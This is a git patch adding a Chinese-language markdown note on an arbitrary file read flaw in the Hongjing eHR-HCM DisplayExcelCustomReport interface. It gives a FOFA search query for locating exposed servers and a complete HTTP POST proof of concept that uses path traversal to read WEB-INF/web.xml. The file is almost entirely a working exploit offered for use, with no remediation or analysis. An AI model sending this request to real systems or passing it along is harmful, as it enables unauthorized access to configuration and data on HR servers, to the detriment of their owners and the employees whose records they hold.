From f8903c6aa3638f0e085d11a95b9124e00d3e34fc Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Fri, 1 Mar 2024 15:16:23 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E5=AE=8F=E6=99=AFeHR-HCM-DisplayExcel?= =?UTF-8?q?CustomReport=E6=8E=A5=E5=8F=A3=E5=AD=98=E5=9C=A8=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...layExcelCustomReport接口存在任意文件读取漏洞.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞.md diff --git a/宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞.md b/宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞.md new file mode 100644 index 0000000..8f9dcb0 --- /dev/null +++ b/宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞.md @@ -0,0 +1,16 @@ +## 宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞 + +## fofa +``` +app="HJSOFT-HCM" +``` + +## poc +``` +POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1 +Host: +User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 +Content-Type: application/x-www-form-urlencoded + +filename=../webapps/ROOT/WEB-INF/web.xml +```